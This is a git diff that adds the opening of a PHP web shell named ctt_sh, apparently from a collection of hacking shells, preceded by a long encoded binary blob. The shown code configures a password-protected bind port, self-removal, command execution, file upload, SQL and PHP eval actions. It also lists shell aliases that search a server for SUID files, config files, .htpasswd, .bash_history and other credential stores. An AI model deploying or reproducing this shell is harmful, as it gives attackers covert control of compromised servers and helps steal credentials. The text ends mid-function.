zTlxckrAL}^#Wcdurr5>MBH8_%rBbXbqX>|@C$|8bl}dy*U>}#U^4aF9yMpNnxNp+K zlF$^(Z7&b>P|mUt%vf}KXASxj!qNOmDs&|n%V{tS!D8+4z?krhym)vEdd*7x^<Tye zbe+l05$O<eM4ihYNN+Z6+I<GS?+6Zwt_Vvn>`0kx85?j5t(U>Z$~#}q0^wg~Y_--8 zahwsTFs1kb-~IWXyjLLqidAQ5WnfPk$%@EblGLp-YKQxvEs|hwaK;6I5rVa^y;k`+ zIQC~rNyz!Zbllm9b0>6}sE{oGYK;ND@(%Xn0#dR1NY5m)7QMVGHgl(R=b*OqP;faq zwCY(8)*}Epu8|~M&*B7OokJ5aED?b20rsV(tPlFdqv7$~Qs@G0XyVK*Qg9aHfj?+U zl(XSRqiYI?sfJ<9bVWPHz(gW3C4D061me>d-v14|gvR&UCG7gcE+GP^SlLIp7(}|f zyi)ar!k^>Ja69hAo~C^MXu0@TE@Nx_#wM3TYhNl_>ocE5H<oqmvdtx&D`;n0WaUO~ zE-RVzrlq1@ZM>X2msFgFdNhC&Q6rnnyn^Ua8<=biRE#9mA;!-E6%Mct`gFcXm7`p7 z@q;!DPyWwr7?93yGb%G(v09(Tdl+8d=Ndi28&!NI*hH|yt~C*2WUo~W<WR(59;ueU z+6)&_X^FpL{mosTl(e@PDs8_XbF7`M>~kA%O#~04y4XR-K8FszW9ncc_=UuDZGkNt zVel^*n>(?Cu(+ejno-9#=I$S-6eUWwsxlxS7X`+P1V?$SL3ubLA0`+shJIq?UF>b( z40f8?B_ofvQG?M3E1wnDassG6qLRb1)I*z;FrA*b!%sn<?ZVNmcTd(d9Gn=uT__Fd z8>&vyx)qT+oRsZvw?6k60%X&v#Ujo0cv#2TVrB=Xtis)=(G%Zo>QEvz4}4*@L2hSe zAubUkak<hP?i~HpC^ovp1-s_{rmnTZBFLn^JQSEWp8#v*bl?db+Xb?d)PR$OucfQ| zNYNgK<nIe(WLh(3(D)_gvqGj%Lg&lpEjCM;z*|%IfPFS6feQWpJXh|V>uX7im7Ct> z4!3c-3rC*$CkTP9#H>0umpRi_I20P?9GcNQ)v=u!-n$#`9z9eQxxS;=7-p>AaM%?m z-(PojebtIJ#Cy64+nt@oa6w6cGcc%MQ*LY}zBut%N_U!EmhpnP7q@Q=aAdC#Pvupw z=iOSLYrDpRY@C~8B*>%;Z*q=j`7$4L6(~5sM5}W~v}J7J=ae<gV`5oF@3=d<O%PPa zowgE=afYd#jnTaRh*Z5K$fS7y)+`LjYp8-3)>Nc1++9adh$wT{;&08|$MtOec>PBq z3Mn3MLSAEN%CN*ob%kc|Wbv0QV$Ec`^{N<=@fjn(KFG@K9#JpEVDUdrglpmJ3=Fm+ zk0|l{AauF55C6OntYQ3~jG5P&3st55_FJknlwTH4Zlf6sGQ>IIg1e!o59zq3`s#!x zxO9&j5}U~{XZzqj<oUjVA3vAk)ekLo58Ea-{MPz-YFLtR(C&82#!x#KOs}6;lrzMS zO2^z166*&IJ7H!7u%5kCd~X<q>?-a`XcG0!;F)eTz|Q8;lCDyGqWkM(0<^b{Ll(_) z=a<32y3wW~5maFVspa41fA4TQUG`jhi{-SeQ~nifi_D~(^e`Av5WX56&OZfs8-}wE zc90J@bk-T5^0LSHE3JL-^Ky>5Ud<3qyYZ-#;)88^wvp|_6~^K*?jVC8gNf^>g_l7+ zu+7j<X4;?msoky4?)Ggh<ZY!Np>#VKHW=SWhzK$GvqoUcq=*AAL!MMToS}?8r>3`B z4<ENlsLRt*NJ=tWh{@(AWy)gX7M(7oOgK9-P`_F^UtoUly8R3I8V-Jn@Lf(NecYY? zyq+=w@9&qw2NEYqq0-U2llVu9z&(?uuNYo8?)7cDsvCn~B-K1h)^PM?cHxenQ9Pws zf(sn53ZR{8BLzI6nJ2rT10Tz#Wmi)pzV)Ou%8YBk-_i2xh3B|vop6YYxi#2Tz=V2* zwc`=J<FpvBi@{BFYJK7{|7KY2!wSX7?#J7j@1z*UTvBS!ltUNpu7dw>S!eLxZ=K=M znHAY(VX?Ev2G{$oky#CceyHdr%jZxLWWY15*bPIJpB1~(;S+KIGHQ1DN>O4CA1^l? zrK#G4<JHs728a8ZPmM7yHYW7dcPJ5no>3Z#5fUhYUfP{AilE3n^NS9=>5!ppWwL>? zuT|9TZp8_o*U)I3s%j8fT9Q^epHC2p+-01YI|F`sdOitA5=+prezkJ;ZMMWKvqLES zDs2A#TtVZ<26~h7nY1i|(d4S+Q)$aui?zpbhuvC&YV+fFtkw~+09u4DR0<~?<*><r zu+~RQkkPt##xjZ%Pn9(CE5O#A|1)V^#&bV*h^0$xDBe%CBn_`j%*@Se3|v!Pey)lF z%)s+L6ID$e?Akvu8UM{>&KJG?pez0!NgM~G-QW&jzk#wh1FVXBI5S|sk+5LD0l4(Q zeM4?YMe(>@&G-HPbl-SNn|I%60PY(Z3JIEYIr5vHurrnW3pe_6D^DsbHe#f6&fW=2 z@reVX^!TJ4p8V(y*?zQ+{f^$ESJqiLx8h~t`?H&xT3L++c|-U_|8b>ug<(;|35><W zQ<p7f;(r#TX<;Twk7hZAyph`7;V&?2UG3I|!n8Y#(}76a>6Tml4G;|xpfN}>3Hn*D z2HTnn!;F!~lVWiBqyqZfand;xA?bH)_QgJhA|btxxVLp#ad`&~HMe4ac~aAX@X(!d z2rfvEC%p(xx2Oq=><AR&RH;TZXPkg~+yS4k^kTiu#g~Bh<2}p5am0$w;4txT(5x82 zHg$!+sKLOc@D2vrG>Wt|?6Ri$jQX?Sbp`eu0k0KfH~{8E7+;LKOZp6Z>=Dt*Z{r2` zu5p<YEr9bScYZM)!Z0+s+R{C0xxQI^%HHR}uxPjy)ezkHbk&s5g$U`@!If4h>SUe( ziw(~+f^|@BhRQL!YXunz=p2S?iJar<<ZRC&Rg}R{Sx(hc1YNteNi`nhUo_0kC~1X- z)^k(#%r=xRvm~W!AZmxslxGlkEwL6M_Q+w^M$bI4w#hr;|0Aj~Kw>}GbhD?pR_HDq z_nrkQG^h;XoUf(rO*HElrVMOwO8&M!H~jQ^F!}x=kU8lhls|zatHFMgvv=(Xc))hl z&|bvv=w+&yV=cxrb}L-MgX$b~pO?@Kh%={UPbifhQvS#6D#bl!V4v*Ccr#fXF8p%E z4t_80S3}V9f-i-ejM45A%X=*z+56GfbZcrH2`4-_z_+qHGl`px6!N&BHiDK8YM7Q* z7sbu~O8YIBOt%GCF{g-h?X{#wj_Z%V(7c&F?mT%t59EjFpacSH11_fVa+z1zfmwJD ztqn-$4Xkrae&4iWH9aki)d9lZkMN^YA3qiuTE*^iRUeXNjyu46lS^$4ocr~5V5*)c zJ#OBEEc23i4|c8D9Y~uhFX2+gT(ZM1Bd1(Mx@FNov)I$+=6wCrdU)0D&78HDa~ft4 zA@GI<AqmkABEm5k;qAC^`#Y5g<fCtUXnr*0p-!%Y$P(7kS7ITTE=^RV=Sl1@hnE=e z36uqqh4Uk+gDL5|DMIo?0l)kYG)3EV=mnAS?j)H2?BzFff+u-wsYW4B&=@{dEh5#< z|H9c_M!BVgLn0tjV&otlA(<Ar7|)smBAEF<yAUtam*4)?T*Al9g5QBuO54OV+^@~+ zwF<bxIv`O=t+baBsXfq{*DA-FC~wG@_tLl0P8zynJ&y8cz1~y{ID<HAg=%xxnHN9P z<;`FjmQK=8E<LtvKYgm!C`K#<t3C=4rKFOV-P?Tjl0}M}09r`h=r6fnc;{xbSA#G{ zidm>BK#1Yy@|Z@-7!lkQxMX`kHT73I57vSN4NC|LCANu@EqXvh6)VBJ1}Kf=GS4m} zoe~$m1*r6$&*3oqio&$*>=KyIWswU>olI7G`o45d!_vWqQu4rpK*gCUy%cU*QHY5g z4FR*(;e~ro3%3xk-2cd2^~!zdUKv8>;B48H1t63HxMzrl<xLRnO8$UaoJhRB)i1Ru z+&yAJbMkUF1iS_0-BnYMk#oV&#US1CRu;!3&ZK#$fB^X>6#vbgov-BB20b=eDtGKi z8LDBRu)Des+}zk*(+jn5Uow(c)&oP?$Z_JSNxXQe)Nazyp-nLDP5#|+&srNJl(j(% zVoIJ{-zcK<fQAEO5!EzNdIHgro!mYV?|(2!ZvZ@;f9FZha3kAD%Rn{KPXMrkCm22$ zxiuQ%fO_-}1GK@h$&Kn&<`Q%I$kivJRCuGJO4cZWU#MW1XCc!!=1WhX?TAj>;YOzQ z*?%+c*j3~f`Q%z_F6K<4XCYD21*Q>%tS|K~AUCK5NNu>6bb-4G`gf!{5Z~8ZkQQTT zFEAP2Lg@ZYM_#}^{Qs}~8+CmCi4`haTcO@{Q=|fTi;`Oimi+#tibA0<m+}|<SOEKn z)b7w^N+aCEy|Xn{+0w2TgGj~+bY(lpXDxLO*BRtVqSgw`gFIGConPQLk3y@8Rbkqn zKM%uK!E|6>w3{_l9A1IP4Jp`lo($LZ=#Udz0>WVE8&J)4WP>77CER4OwkL$Y4GG2l z??6Jexdslm?V-Q!;O}nqS@eqkgVtkZY~k2S*~8Y2In=c#+#>+)kLN8c1LfxNZ<!su zD|IyhI}wZ9!aU5uK8i|(u8yy*Qa_)r{B1-=HS=>cERPC--@ZC_BS*%iz-neg<=4Mg zd(ROn3OZjPFYb^>5It8>y_R0NLMp}=X&ygOSX}xLnsPMBKjFWVGy6HL)<rR9HwFDF zLou8CI)54?Xit7Mt@%}kY+XL8VF|a1zKQTWj=QGUK|T0jsB`Ilj=_VMvgvcOo_pf? zLiyvA_nrS@HMCs*Q92s?a8GdFaDLdnssxleL?i~Uf9z3hSbwv}y{hEZvjCZuJa$l? zM}gN({XhtqP`e=i?w;>l=T8sHI;IU9I5~)MANIy!E!VhB^<n940o~g;2GFD-e%AeE z*5E2kLAYeGhQX8SJxcj>Qm>NgGAF97O2R3VGZ03~ElG2qw5^d0MMP}9I3`Q?b8vv! zN<eT=B<q}Kce2!^E|ryYygRsg_VtR(S9;6gYfg-;_1Hg0e2fr>L<E5v;Ev~swo|jz z@_JHSs62k&^%AVv0~`KoK5rxYX@?LO&TG+g<=So2yRpaaSo@co?3mf)6!Ro;9C1eJ zbXX{Q(A-ZVD`LxCDW6+w_u{2{rfC{shc!<fZ4;Q=QFS7W&&(Ot5uPV(cXUqB*Fopr zRB)jk%}kDR?;h>2m(XG(R$k1(iCq`72<nq2(NK}On)Hy_^#k>tV{mV$B2mUvB*`MM z5X?w}9UO(2FPhGpkUc{2A5jCV7|tbhpX_1vlDyU)e=$8P_($QI6ZnVGCNQ>YYf0Te zA~wKA)?DzDb^oG6=r}=lqTJ@v3>Q&#{=#TC?D}2Qs3S*u%E2iCnLOTSM>0<hj*1h& zBSgEnH=uE(LoPvk0)Ek`7_$z$dUTF<smlyMHomjg;R0_4#`gyl_hc&9z1}q$b|^7q z8lNcW5dHiT^Y6ob=fO#h-o4UIRWS2>bRZ(hWR-ti2DPG!<vcS&Cl|P;Dve__niY-1 zXpqT$l)SvA8*v5s`$m(fBK~S@H|=>5QLoDKn#NjxcDc5~+!@y=(m7yH=ASE(01YJL z{8d@Y;EIR>Ys#WGJ!8_XCl1&Cgz(*qh*vn~UU!!Z!zKdr>z3~Nksa&uD2%AM4eJvJ zF&0B!&pB%&+b2K!?&9sYJ3STs-f^Rb{Z5|w?vh2X;D2)F%9B*`3oT--oqHRMv4_iA zg~q}!3rl}q6JqP-CrGD@;x@q9Y3}unigx>s{6Lwuv|tn9_Lw)THhPJxi<NDcMVLYb zWz0560*%naSFC+7#F0?E>sgqH+iC{y8z*-C&od}9m((xXHE4FEE|VI+RFpr-uQjyc z!3lrI=M`<~)wJ6Qf&|bPXGGKvR+T-64%TC+cIZ^|X4k`$wV|n)!*Oo%gv4tCQS(`2 zsH^Q<-ms@{`V{HXYBb&aBa<KzZIO8d?%qbqp8=Z1@vl9I2_bZuO`28Zj?S(M3)0FC zgDpFLxE)SxTimPRgYUGUE!cSbw5F$P(e*gJ_`yo?1BI|zL;w}BZh!TTnb1c`y3J8$ z<H#e0&JpEVIM0{}90HQ#-Dwl8&Bt2IKFS#B4ruKm`8Ee;#TFYgsy}hC;QG=DIgo%h zi8McAZ|OJ?H{@x$@msf=^{~!ai@D9T#Rl4P+yu$B{jS@ztP$>T0bnB&EKUx+!A7oT zP1~2xV<WXMBhLpc8yo3%VgwROI^&LvuYU@7F%H`rIf+twYPOuhx1XG;x9(xqeAD=~ zBZ1Y%GhK8%&AUzbqCKPI!NVeU5V>qTue)iWFTwecZkHjUsl`M-fxi=K><BV*i0tss z>%`peOxGRfRkblnC~J4T^y|1K04C``#u+0?c8<+^ru2jtKa7ajr@d&es(@FPUo{Tu zLLysI`W<4MFK`9SD<V20JXe%j1zFpRgj{8##StknJeOl@4ZNRAx?S8sRkm~rBn=Ys z_`#`Qm1NBS9SU#pP!=Nk1}&kYubIrAYWN~8WzFeBUcqiIr(L=#VExCj_oqz)-)<N0 z@#h%5M&-}Okpx>n>MnE1H04F(m1?9E{({Wi(&urdx8gJ6PPK=Ao#)L{UZpzA$Vny? z1-N^Dcuu|yaK7h^VH#jK+zoUS8?&Lp!6;x~pc2`1J~C@@3gqTRD3IU(Nr7})7fDd| zoY$y=s}VHv%cNKO8Za7ur>b^6v`O#w%Xj;w6dOU~G4l=J_0gk+$|S%pz^r_be%~Id zpXi72DKD7`5D1nQkOR5UU&H}c8-7Q?&})?g+zRNTY-V$-gT=kif(<}})D|Q?8$nq& zmYA$Eg(Pc4D4)L@r?0;)Fl;fJBe?5&D@HS#3(E9DLPETG;|>QhiY2jjrVaNJ4}X1b zFj09JgrAEU;kY^>ZTsF6SpXm0d;siv1~Ox}V&Ae?TBsNP_sMCY5csWcIG{&R&NcDb zwYW4zl1rPQq(S@u2fY%?&12sU-hU6<K4|Yq(!uD;6J{kir7lQrlakN7Bqdr{tuH2m zN{$e4^*~gCS;{XVXCVx1Ul#7IgF^nKP<BbPSHx|>3hy96n+I795QKZ@WH(f>C+XFO zc>WM*3-Y8~sbjZ#51qVL_D1qBe6lS1wTgXdyb08*At22ga|E&i_f6Rmr+^M`4mqC- zSk`XYBko2guz4u~<qN^JYe_f%){ioloC+ynAX3ibV478PinOtJ_)1iICrGo@Wt(w! zF$+t}u!H>aKp|t{a&ETT4%luQPr)?tP38ma=q$~urc#Z6nl!vof!L^^Cb%zGoE$11 zthId;a%Y9nt0>*5)N$6V4(?6bz$pni$CrY-nEA9qHlycBBBq=L_8=F`J~Eg1KOS6O z7?mU&nj#I2&PV>Is*=v6B#3x6L>V{VYT*{oYI8zi&P;9aJQMzacJfD1AYGZdRW#}m zgji!)Ev5lg#x19hni>OHND>`r1?GtiXFaU(mMb@aWxiG5ValilSes3EjD|K*#%+~% z-e^5sQ><^=<^~PxQkq}^qZCt;1U{VeY<cTzmHg&$wG3sm3mn@%9g*z9cWPs%%eH3T z$fYB-K>!}fipNX0BQGNbVJ1!_i6E8s3v)>Xjr7>6cid#}4Qx)-i};)D?vG5%iK*z< zD*9;tS*(vMTaM{1zhBbfS>BolEQ2r4HP?d-^Vn(HZ#6H&{^70H?JP}K^mpF7QFSb% zLHn0ia9{p4b^a#hww|yQ&XL5!bgV0t&GQR|>M4=wQc|C<e9H@~EEDr}m$wIFtzxiY z9)?+QsZ)eb89eD4Bx)F%C0)TH*MA7a<UwoCs#V==2K$0ybqADg7H_FLK3m4>_vy>H z79jVdqPT92nLVH072U_}wO!s=#u~A;9s@}l97&kehkY*(q<s7F>-wUqF#nY+51ZX9 zn6KdY5L4~>$bb68f&~8qz(@ThK-do|;@%5<ygRS%e;=}F!AR{x7x@49>ANR<uFa5C zd|R+dn<w^V+7OKnN!0Vv`-hElstv3i({c=R81i9xu$R(0tWoaJ+Zc{7l41F3g|J(A zd|H>yDetE;Zfl39$O1nr8RM3%l|?x%%Hnauyu&rRtEwhNrRdw@21?r5kH&-jf}g_+ zsh-8M-J=0~BM--I{25!3UVS-iATX&W2S(3Ek7yWvd;)#AwLu)VhNn5Mc#^u`86#f3 zi%t0uE9j#I@!mV9ew(Yh?oCC}dzo9u=0&z2>Sf<AdsmV&R>WWLPq$o^A85>;rOIjB z<>|8)@aBKL`+pexSByveC?B}+R+~vqb;4W@pR?m<?>3YoI>HXIa`-HYYg2(aU6O?# zu$#&*5xaC16c)$Eu#7qr(e91T9>(WZx<|aa$<|L5-3^KeOSQ4jHwdtgQty~GG<|O$ zvP2{MJ8zgr6=j_XcE?*CWyUy0yAyY^xBD<+6wcL^Mu$3&Quw7@318M|PwwYmr<{0J z>}tMJb65Yq1h=49LCIS6^}H2cvs#$KM{D+vjTR0CaYcF(!+(CTU$2U8?$3xZl51p0 z5h0ht@A>8YSn}ftY;#*)`o%_E>sW$&XuKOoN<Sl`^kgIXUohRWrQZ?02_y#0Ib1MA z2DOd52wZiDEjGrj)k6(y0_-!N)|Z0@`Y$iz-S$wNBln&3rauS^sfi%3^krJUnsZ`A z#`$=i^?$`-+5Qlvi@!scH%<XB$dSYwk$PcQ`b@esP$>=d#eN<uiB?C7AJUPDLMZ-| zL%GfQ7O+OX4(VLh+u*Wy;g`pjr9@3)s$g0ZJ2HA#?gA6k!{P({;C0=`|178nyLqow ze0@`#yDG#1q{N7^E|*}$b=D3x(-ih|VE7LS8tNtDTMd5q-5!MouX88dPZ-g^8SZSI zE_=#9YpC|#7ivBZ`zEZQ79E2`AJ~wW*4oz+f*zhg;Eit|idyIR$jE+O_SGy&JS*s+ zY{my69q!)^M|T91=x!%^{8NzKxEW2YCP9mwcGI||plZ@)0CZI65L$h?3z)4xG}ywK zpA-^oCN&!`m;1mTbncp)nMNgKh_Bv6GD>3_Pltxs^F?fogwF1)(!K#RlHOa#pSa12 z2|xQ|y@>BF4Ln+0PRuEWx9ZT{B87E@!9RT9xoY!tItcFBqvy9p-N$%@cSl}dm+xvb zpc8Iu#KOvlr!1O;l2I)>>BCdcyXeDrNy8w8P>rHCUCcev5X{1o4C_hTBkh}~p1rBv z_-~9U^W~2p8q`z*!cO%gt}{0*ztZ0lJZz-%%!g6h7N--XY&IG$K+fJ8<WcxC02#T` z?{l4++uCh>K8TK1$E?Z@cOcdNLaXSLQTSjRNy+v6zyn;4O^s~je;!1{9B+r0Bq-5` z**xCxjxX(F#jYhNctau9M$)FZ-y_Sp(qfIHhT#u%22pp;=1wcleL`<PX@i))8sF-K z5J#R?en$G>?F55}s7SBM-bL9rH&j*F7z)e4QteFQG@2v)$;JaR%J0x42?;t<GH)Q^ zHj)&1Z+VoD9cSfe<6$=5z$Bq>YM_)<CMQXS6SzF=dt3e2EX98q%>UzqpBHa`U`#&s zm=WI;n}*e32NoCitm$r8S0`Up(8`nV@5HO?^ZHu5^;1*0Iz{;xxVw&$b!T<<%j)F8 zf%cOwIe~XaHFk3GN&I>dr5<xDP(Bm??z~guG<@_#TU6umm3!}(W!LQd)z4#h=d^R1 zORYl$eyk*ZOl%N2oNj-!T}0SB`N<?=B`-H&s(Rf4{#Z-6L$-o%U`+PJ-(dxJ^G#o? z5J%KL)K5JgCsx;=o^Z9bOLFQ5TTEc3z55WQy1R<caTjVU^^94v0Sq7P+F2-<Op(qN z?}#*%=80tE=SCoC%DT(#hbV%$3luvPN+6Sld^#a-RBrF|A(W~?By}(8wC+!j?c9#X zDwili4n*cqd03K{Y#yEJ6*D%Wvp+MsoGX??<K^tj@%=dLemea^&D0os;&AKi_B8?V zcXk1ht3p^mR<0ddFMw*M-`}*I>*Kc{OuWr@_1_s=c>7enr@d*TVLd0b96zh!N#d{T z{@{9(dgIpHhMsRVxAkE8yut<i=hF-htW6mw78;UnL!sUyDvGm;+j2dyQwQ(eK@EPu z+btlc-De*uk6+su1Hzy3DSQ+(DU=xUwzUUuNcH7`k^fX4yO$*GAgE5%zPM7EjO;b3 zR0N)AE#}&xCYN4-;?u$lm<8Eqh;hK0*rFmByo^G8C6;{E6Z5fr&%rz5GvuR;C=JD6 zP<M`!<Fw9H`Pns)U9a3de5?7B1SS5OG1|FPnT*GZ1Wn3_<slc)H(smg5*4zugij}G ze<xjJcQ;?^EiGZ|PHGlkM3@P;i;{T5$qtx-*%SckW?}m_sjZb>aSU~(C7$2$S|$1T zYn7{+65#Nep|-J=stxKUxZlY@(Lob3VY{0qOEM|Up6U2cw89gBworLw|Jkp9A<`{O zDjMc~`wv5*+wcFOOD+^p{kO*Acbq8PN$+(3%seJCd&JTu3l|v7+SVqZ>w!pCF#XZX z6m??aROIwN83euA-$##`?onl!VhFN70^(-5xy7w;)9_Snu0rvKKru?C>6OXod_4sb zM7b)cGAISlqe`AoLKTJ}hR)`5I8UMnXsi(QA2E0{U6It$=go(t3%lpe=oxfENsPD= zV3ij3+cTGxP9)?kP5BjQ0-9y~+4J)WfFVaE$pE7xQ)s^dU1XoQKV@8Li0^5Vy*Y|U zrL)XTZ3*$U${!vXWq6Y8-k((zHm(IJXU|ZEQ!p~P|NQavmqb5g&uD|#ALJLHMx|M7 zE=G}xnI5H7fMJ6y_f7pte;;)Oj(@EZE1QQAg5P1E3(aGuUPz&~JW{)!ycjPaf{%S` zmFx*p9nf5GGw6XSjY{*M`|ZjEyoTl^+x&8^Q|h(#DMb$7Yv0$NIE3EWgbQ@7xY@eG z#CUqw=RIaW)O~JI_|ovy7FfqLeZ07rxXD9nRcZTljOKyfADGSwf-c=3ztL8CsJA&u zpLVSl04fUG?}-r&l<RZolv`j^z9hfsLj7|h<#SF={#{Tgdh~bCQcHbWZYAk6c<;C1 zR@dyYS?4nN)mwtWKZWW4m7mL7`40g#%#5N=@SAYCMI8=7HN~IJvLA9CQ6IKm)7KtX zws}4LD(yaO8$o}<CQ-gF6h!TpsdCM`?$VIKY7|k&c*oMB+p|dPqOU@}nMGzQSHIFv zElQZKb1$SyznZ}RzL9<f?q_SlRP8OVGo!2<b(st7@lzLV(!XgE_mwU@B<J}Km2ph` zZ3j1#SS9yBES~(Ce(Ie+Z|Gmu_4;=|uBa7noe;<OLERT0ZS<f&a2ws|^)yk77%yL8 zy;CW`FmHT{uX3<)hF^^$=y6j%m6}Y<jfw@*OLy&GAXM$|p`;<aKEB<pLm<E5wQVzF z|8akM=?2;*IF7I8=do6iMew=*D#<J5db;};a<V3j`{f0r>eW^bDh|@m^fQ&1(X1R9 z#^lMIh4`A(uUA#AQoEptfxl#C53~1<IGI(Em;8?dGKmYwI@M=RSyC!eGT24%7unh? z2^%J+Dq%|#AG20JW11Q_cKm*4nz(b*f!iOcFZrU~XEHT9iI0`<Z;`>lGd8t&j8V1z zDiD-Om9<;DSzI!+B{-H$#pS`0S5#;ZhXFGrB<ZN-bgtS}xSF*gP}6+UG+_~KEH_Pi z)Q2S(xy}5RtK(jGkZhs)HG1q@O~gr?^?@?Xmsh%GDZ57IY_3Iake<|WbI(n5uoqu( zy}bcyP1pXewy}1zm<Af!i!7MR1XRh7f~_i^pkJPjRYmpq4%*&p8S^Z%b#EfwNibKT z1lp{#dl8$NHrXHt8Oci&a2+IY9YT=uwW9pvl|<{SVrD#U#xFnzTY5kmW_wuZQ1>b# z=@sOseK}I?8R-QDT1D9RAnf?QwqjX&{?rU0wSAG7{uG}q%Dx;RsY{JEAkuyXW4LJp z=>?hf*@Og42fi`aEvgu+?(}JX>sxTx*xdbF!Aagmqg{3DuF3jXLTTv4+TM6cO>9hv z1$-4#@2uD9?$9n=`m=G=x27v^<sUwI?tK3`2WR8dBavG~7sVG_$EFe2J**4bs9!!T zEa}{_<pPgwe&gF)<7%Sp%#RK}q&)!Xr`Rhj^@)tJp$R?57HjjgS93Sg&RiCY9zWLK z#(?cVxRar8Ql~elM_uPa5{(MXN!79^^FxbD80OI&{LywZZPnq8Ta#|Y8YNOQT&vHV zAveSf{+bH>G8=rdXfeL2l<v51q@L@`(_X7Q$?sE>g@UB=tJL4VaC+N)2>k#0SA1<Q z)C;4>o)z^^3|`B;(|b^igH%G+IUMX#GOM*?=0w(m(fW5!zBM4c+lQ#Cc%^OZCHUxT z6|g<>%-A=zY?R;xkfn2`4OL(~iIqYJ&Vlm=rQCI}SvOyJv;uU<3m5*j3kRh~3OB`X z(97crfYWIOIr&3+w0tnwE=Rvs>D&em>YJMSB|#G)^p3t(xvA;{)(!DA<xPI)Kt-8h z;Hp)y+YW~@A9ensv|g1_1??bj`}S$pKST2lM;pd2pU^%Iu0nVg6xxnFj@GArFMary znV!l!o=f_7)yyX3B96b&vnP|96%JRG&QRJYShsg?S0;m=Lvo)V=XV>rrXU_>O=)lQ zEeO?$JUq3M=&1<pn|n!6q~k%SQ<;XA`X^E*ZkWuS0GjMhCCWnDskbVhGziV%nnCt8 fg{m}j_<n_Yd6qXq`Wsg<1zd+X;K<P`ue<&iZ2#{r literal 0 HcmV?d00001 diff --git a/php/PHPshell/ctt_sh/ctt_sh.php b/php/PHPshell/ctt_sh/ctt_sh.php new file mode 100644 index 0000000..51ec008 --- /dev/null +++ b/php/PHPshell/ctt_sh/ctt_sh.php @@ -0,0 +1,2927 @@ +<?php +$timelimit = 60; +$sul = "?"; +$rd = "./"; +$shver = "0.1"; +$login = ""; +$pass = ""; +$md5_pass = ""; +$login = false; +$autoupdate = true; +$updatenow = false; +$autochmod = 755; +$filestealth = 1; +$donated_html = ""; +$donated_act = array(""); +$host_allow = array("*"); +$curdir = "./"; +$tmpdir = dirname(__FILE__); +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp"), + "img"=>array("gif","png","jpeg","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar") +); +$hexdump_lines = 8; +$hexdump_rows = 24; +$nixpwdperpage = 9999; +$bindport_pass = "ctt"; +$bindport_port = "11457"; +$aliases = array(); +$aliases[] = array("-----------------------------------------------------------", "ls -la"); +$aliases[] = array("find all suid files", "find / -type f -perm -04000 -ls"); +$aliases[] = array("find suid files in current dir", "find . -type f -perm -04000 -ls"); +$aliases[] = array("find all sgid files", "find / -type f -perm -02000 -ls"); +$aliases[] = array("find sgid files in current dir", "find . -type f -perm -02000 -ls"); +$aliases[] = array("find config.inc.php files", "find / -type f -name config.inc.php"); +$aliases[] = array("find config* files", "find / -type f -name \"config*\""); + $aliases[] = array("find config* files in current dir", "find . -type f -name \"config*\""); +$aliases[] = array("find all writable directories and files", "find / -perm -2 -ls"); +$aliases[] = array("find all writable directories and files in current dir", "find . -perm -2 -ls"); +$aliases[] = array("find all service.pwd files", "find / -type f -name service.pwd"); +$aliases[] = array("find service.pwd files in current dir", "find . -type f -name service.pwd"); +$aliases[] = array("find all .htpasswd files", "find / -type f -name .htpasswd"); +$aliases[] = array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"); +$aliases[] = array("find all .bash_history files", "find / -type f -name .bash_history"); +$aliases[] = array("find .bash_history files in current dir", "find . -type f -name .bash_history"); +$aliases[] = array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"); +$aliases[] = array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"); +$aliases[] = array("list file attributes on a Linux second extended file system", "lsattr -va"); +$aliases[] = array("show opened ports", "netstat -an | grep -i listen"); +$sess_method = "cookie"; +$sess_cookie = "ctshvars"; +if (empty($sid)) {$sid = md5(microtime()*time().rand(1,999).rand(1,999).rand(1,999));} +$sess_file = $tmpdir."ctshvars_".$sid.".tmp"; +$usefsbuff = true; +$copy_unset = false; +$quicklaunch = array(); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=home\" title=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$sul); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=back\" title=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=forward\" title=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=up\" title=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=ls&d=%upd"); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=refresh\" title=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""); +$quicklaunch[] = array("<img src=\"".$sul."act=img&img=buffer\" title=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$sul."act=fsbuff&d=%d"); +$quicklaunch1 = array(); +$quicklaunch1[] = array("<b></b>",$sul."act=ps_aux&d=%d"); +$quicklaunch1[] = array("<b></b>",$sul."act=lsa&d=%d"); +$quicklaunch1[] = array("<b></b>",$sul."act=cmd&d=%d"); +$quicklaunch1[] = array("<b></b>",$sul."act=upload&d=%d"); +$quicklaunch1[] = array("<b></b>",$sul."act=sql&d=%d"); +$quicklaunch1[] = array("<b>PHP-</b>",$sul."act=eval&d=%d"); +$quicklaunch1[] = array("<b>PHP-</b>",$sul."act=phpinfo\" target=\"blank=\"_target"); +$quicklaunch1[] = array("<b> </b>",$sul."act=selfremove"); +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +@$f = $_GET[f]; +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +@set_time_limit(0); +if (!ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} +if(!ini_get("register_globals")) {import_request_variables("GPC");} +$starttime = getmicrotime(); +if (get_magic_quotes_gpc()) +{ +if (!function_exists("strips")) +{ + function strips(&$el) + { + if 